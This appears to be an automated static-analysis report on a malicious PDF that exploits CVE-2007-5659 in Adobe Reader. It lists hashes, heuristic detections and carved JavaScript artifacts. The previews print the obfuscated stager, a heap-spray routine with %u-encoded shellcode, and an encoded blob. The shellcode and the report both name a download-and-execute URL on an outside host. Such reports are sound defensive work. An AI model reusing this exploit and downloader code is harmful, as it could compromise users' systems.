Malicious PDF — malware analysis report

Static analysis result for SHA-256 683c73321ee3f2bb…

MALICIOUS

PDF

16.8 KB
MD5: a5337d5f421b1c57431a89d92ad4c6a1 SHA-1: 6c12e5605f3470b520a4830bea8c6bb30e5d3f5c SHA-256: 683c73321ee3f2bb1c1ea9374913893f7e17306c3b9e20b6279443af63ad5f63
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a second-stage payload from the embedded URL 'http://bopsi.info/page/49571603917/n00a106201r0007R06e317c5Xb461e9baY4ab04489Z0100f080'. The multi-stage dropper and obfuscation techniques indicate a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bopsi.info/page/49571603917/n00a106201r0007R06e317c5Xb461e9baY4ab04489Z0100f080 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x409F 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
1364e34f67a48fdaecb9f72ba4ffc4fe96413c19e03f4641237597d56959cc2b		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1A3B 5246 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Uhc3l_Y = new Array();var U__V8_c = 0;var C_g__72a = "";function ww4_GS_G_Ev(XlG8YPG, Eu_2hhfw70){var HdW1r_m = Eu_2hhfw70.toString();var bt17aF = "";for(var fnxp0_0WN_ap = 0; fnxp0_0WN_ap < HdW1r_m.length; fnxp0_0WN_ap++) {var Ww_DtU__Ml4 = parseInt(HdW1r_m.substr(fnxp0_0WN_ap, 1));if (!isNaN(Ww_DtU__Ml4)) {Ww_DtU__Ml4 = Ww_DtU__Ml4.toString(16);if (Ww_DtU__Ml4.length == 1) { Ww_DtU__Ml4 = "0" + Ww_DtU__Ml4; }else if (Ww_DtU__Ml4.length != 2) { Ww_DtU__Ml4 = "00"; }bt17aF = Ww_DtU__Ml4 + bt17aF;if (bt17aF.length == 8) {break;}}}while(bt17aF.length < 8) { bt17aF = "0" + bt17aF; }var D_Mu__D = XlG8YPG.toString(16);if (D_Mu__D.length == 1) { D_Mu__D = "0" + D_Mu__D; }else if (D_Mu__D.length != 2) { D_Mu__D = "00"; }bt17aF = "3" + D_Mu__D + "P" + bt17aF;return bt17aF;}function a_T2qVq_1h1(Kx7i__K2V28fy_f, Qj_5P3_2T46n){var kP_51_0Xr_o = new Array("");var a_uy_MlK8___60e = Kx7i__K2V28fy_f;var A__pegWS7B0;if ((A__pegWS7B0 = Kx7i__K2V28fy_f.lastIndexOf("%u00")) != -1) {if (A__pegWS7B0 + 6 == Kx7i__K2V28fy_f.length) {kP_51_0Xr_o[0] = Kx7i__K2V28fy_f.substr(A__pegWS7B0 + 4, 2);a_uy_MlK8___60e = Kx7i__K2V28fy_f.substring(0, A__pegWS7B0);}}A__pegWS7B0 = 1;for (fnxp0_0WN_ap = 0; fnxp0_0WN_ap < Qj_5P3_2T46n.length; fnxp0_0WN_ap++) {var u_c4L2_Ru = Qj_5P3_2T46n.charCodeAt(fnxp0_0WN_ap).toString(16);if (u_c4L2_Ru.length == 1) { u_c4L2_Ru = "0" + u_c4L2_Ru; }kP_51_0Xr_o[A__pegWS7B0] = u_c4L2_Ru;A__pegWS7B0++;}fnxp0_0WN_ap = kP_51_0Xr_o[0].length ? 0 : 1;kP_51_0Xr_o[A__pegWS7B0] = "00";kP_51_0Xr_o[A__pegWS7B0 + 1] = "00";A__pegWS7B0 += 2;if ((kP_51_0Xr_o.length - fnxp0_0WN_ap) % 2) {kP_51_0Xr_o[A__pegWS7B0] = "00";}while(fnxp0_0WN_ap < kP_51_0Xr_o.length) {a_uy_MlK8___60e += "%u" + kP_51_0Xr_o[fnxp0_0WN_ap + 1] + kP_51_0Xr_o[fnxp0_0WN_ap];fnxp0_0WN_ap += 2;}a_uy_MlK8___60e += "%u0000";return a_uy_MlK8___60e;}function c_6IC5M_n(OtEH672yuQ2, sJmD_S_3_tb){while (OtEH672yuQ2.length*2<sJmD_S_3_tb) {OtEH672yuQ2 += OtEH672yuQ2;}OtEH672yuQ2 = OtEH672yuQ2.substring(0,sJmD_S_3_tb/2);return OtEH672yuQ2;}function O__0eYU_A(a__Na_ygS_3_l, hQGpAxw, m_E_7xUh){var n__520_H4MBERy = 0x0c0c0c0c;var OtEH672yuQ2 = unescape(hQGpAxw);var Qj_5P3_2T46n = ww4_GS_G_Ev(a__Na_ygS_3_l, m_E_7xUh);var eV_K_tkO_U = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var Kx7i__K2V28fy_f = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5170%u5161%u6b68%u7362%u0058%u7468%u7074%u2f3a%u622f%u706f%u6973%u692e%u666e%u2f6f%u6170%u6567%u342f%u3539%u3137%u3036%u3933%u3731%u6e2f%u3030%u3161%u3630%u3032%u7231%u3030%u3730%u3052%u6536%u3133%u6337%u5835%u3462%u3136%u3965%u6162%u3459%u6261%u3430%u3834%u5a39%u3130%u3030%u3066%u3038";app.u_Au1S_8_tY2_7c = unescape(a_T2qVq_1h1(Kx7i__K2V28fy_f, Qj_5P3_2T46n));var Snrj_15ij = 0x400000;var Nf5K___w1_w = eV_K_tkO_U.length * 2;var sJmD_S_3_tb = Snrj_15ij - (Nf5K___w1_w+0x38);OtEH672yuQ2 = c_6IC5M_n(OtEH672yuQ2, sJmD_S_3_tb);var HX0__Nx__r0_qkk = (n__520_H4MBERy - 0x400000)/Snrj_15ij;for (var NG_48AMa = 0; NG_48AMa < HX0__Nx__r0_qkk; NG_48AMa++) {Uhc3l_Y[NG_48AMa] = OtEH672yuQ2 + eV_K_tkO_U;}}function Iid_lj(){var R_____8D7Pw = "";for (fnxp0_0WN_ap = 
... (truncated)
legacy_pdfkit_stage_000.js
981bb59b3166941686ccd25b35857ed901bbfaa6d21502cca533a1b22b03b4cb		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A8F 11728 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function U4_bjMg_R(YL7s__wJA_bve, XPTLTa){var Go_5V_Na0_y4sqv = new Array();var wyFk_K_H8sV = 512;var sKCp_0_R_M4 = 21;var I1g5xc_RO62_2t = 0;var bc__76_0 = 0;var Qc_t8f = 0;var XMle364p = "";var U_FAQq = "";var R0_d48bCE0F = 6;try {var m2e2Otb1n_RIhg = 0;if (app) {Qc_t8f = Qc_t8f + 2;XPTLTa = pr[m2e2Otb1n_RIhg].subject;}} catch(e) { }Qc_t8f = Qc_t8f + 5;if (!YL7s__wJA_bve) { Go_5V_Na0_y4sqv = new Array(11,84,125,78,31,245);} else {Go_5V_Na0_y4sqv = YL7s__wJA_bve;}var BIVbE_30_Y4M_84 = 0;var Y636Aq24ghm = 0;var gy_U_1Qbi_j = 0;while(Y636Aq24ghm < XPTLTa.length) {var q6Q_6__6dU35hi = XPTLTa.substr(Y636Aq24ghm, 2);var v___L_UiR4NK7 = parseInt(q6Q_6__6dU35hi, 21);if (BIVbE_30_Y4M_84 >= R0_d48bCE0F) {BIVbE_30_Y4M_84 = 0;}v___L_UiR4NK7 -= Go_5V_Na0_y4sqv[BIVbE_30_Y4M_84] * (gy_U_1Qbi_j + 2);var XR11E_cP = Math;if (v___L_UiR4NK7 < 0) {v___L_UiR4NK7 -= XR11E_cP.floor(v___L_UiR4NK7 / 256) * 256;}if (Y636Aq24ghm >= 0) {v___L_UiR4NK7 = String.fromCharCode(v___L_UiR4NK7);}if (Qc_t8f == 6) {XMle364p += Rk3X_Tm1_ph;} else if (Qc_t8f == 7) {XMle364p += v___L_UiR4NK7;} else {XMle364p += Y636Aq24ghm;}BIVbE_30_Y4M_84++;Y636Aq24ghm += 2;gy_U_1Qbi_j++;}var Xcb3Yf1iF = this;Xcb3Yf1iF['ev'+'al'](XMle364p);}
	U4_bjMg_R(0, "6e494i7j0f168j1i3f8h9g6ja50c2k707i3g1842264f4d1038121d2d0k9e8d29bi00719b05b5987b374e461gb1590j356f1696498k046aba59174i790g1c8627596a470i3f14250h6fah56a38hbj8d0a287f757db3aj394h0i2d2fbi361f082j79bc0bbf650eb7a32a8i488d0h7a1d9g2h252f66ah8fb0c37j97bb6f5g8j869bb22j578j218i9iakad335h7i9b8aa02f5e5a7i843b938042405c3b882i4073560g1a596k683j6a17605a3b105ab4883i0a8i07452e5h3h9h8e4235470k6j7e1g5d2ea23f4a9d9c4i0138ag7a3046bg1da4202i3bb5bj75ab900c967h329f0gc3673k8k7h44238i19854a6508821i56048b1j44990765131066b6b251441b1j737f2c49113e6h1h0gahc23g511f651102332g795f1dah06c169384c7ha578099jadag8c558j8k2195ah4k5j4k589e8c4e4f2478899dbfba8e7ba57g0daf6h2a81769c6b5c2c534h4a3e2k7g6a6c4j0faia1802e0kac8a16804g1e6k4k2849118f141j8a35bf8h0faaa06i0h72896a2i39a65d584j5g6200c203bd5b2b87a0bk72b65aa19d866a2d3k87991j0h430c594a9j9i6904725g9a890i276d2b56740k0f2g1i324172271jb0c09a6e16548971a7bk16345a5d43111b2d4k21416k9faf0b7b9k72971k956ha20dae0g9e3i5h2j009151b2bi408k80317e8fbaaka81e438ec0796jak276c438g8eb8bc2669a64g6g5g87aca63g5g5070bi98592cb3545b67273c95bg8689421g82b87h630j8a1j55ak8f1ha60f4g5a56258faf2e8a720c5a37af0041983419522g63b318064f263h6c955ca79g228ia02d86be3b4i56ae430619402777416e1g452h5hb55h50680f4c6hae343cbg076e1dc01k5d8i434j0c295h4fa5a42h1659399j0i21ac03993f1c1g0a99591i690107a74faj7513aj8k1ga10k97834b753f128ka5115d2g5k09811k268h8784469h9b5ead7h519k856c41a944632g3h7aae5c61bdbjae6e1328b67927962j065d5g4f9d290a51b44d6ja879aj81c153b57a968k1e7ga828541g1j538c081gah9873akb4a9ag9j3d7a866259b7355g644848476j787211a95i2a3d46867690225h3j5e552b3b321f4h506d554e7j171i6b21347d87b7004d2k6j7f753c3jac4f38323h3e023801aa9b0595bea27d0b21b09c395k11c0aa9e253c3jaa8d6ib2a68gb089227572ae15503a5b624a9776bb120i4bbk3d9haibjad8c385177911k842f6i445f5484080k9c0g84ab37ak8jbbb6b61cb06279bb9e0f9g04304d66a94ea1365c98b45c6f90a4688a3h5c801j69ac1a1j1i367g8d02a3227a6h5i804691ba773j4e0c641k6d6i5a05424b473h0i5fbj554j5bb65ia8b84b17aec2582e672d978c4f5c5e2g5i86148j5b03531d729050a00aa446030c89b46g173e0d7bc16j0j6004858d32a9052h895ka1520ib55a196e074d0142186aaa9i1665bac08ha8b55fbcah6913134h8k7i3k719g0e7a4fb69g9k0d41ag8b1dbc2f1g795d0i9ca6b27b0e7aah05900ib4808cbj92bi8hakb0bg5j9a675371893e54307e9e8d10c39i865j5e8e8e5eae684f7i7a4k5e98696d4e0i5j7g5c58ak8db44832068d8jc37a3i1456294c4a13bd43198a3j32a5bjb9026g1g7h8h4f00319d3c52446458c32b14b7732a87b6c1bba547a1bf7c77253876791f0h430c63500k199h044i4ka4aj0e0c6d065g5g302b6c9d14093j071jai041aa2bd41647k8b0518403737342f1927250k0k6bac0k028c0d770g0j0g7c9k11a58kaa4c704c97b25h031i6jb6b13a6j9371c3aa3k6k5c21a98fbj1h3643998f8i9kba6da46h7g7b95a973595d2k8jb5925b5e2a3f568g4b21b9ba808i4c244iak8c781fba3i8db8512ea3c15e5h7a1b7e6ebb6241a95e667c8c76b6360c6b005i9h21934j5c649kc28ca76h3a5f6h25740f1f8j6j1e501d247044b80j410k350a429k670c670d3i7gb11149a2184kc245437j941b3i290a646g089k1i09492ba509210d1g9a4j111497ah5144691299992c008k1c8j6h18911709a35g9e40269f691c54447302952g17bh7fah68c1079aa29437
... (truncated)
deobfuscated.js
32592a6915e4eda081ee5d3bf16b6bb72c8d0a50bf4c8acaefca9c9f76055a7a		 deobfuscated-js PDF JavaScript deobfuscation pass 91089 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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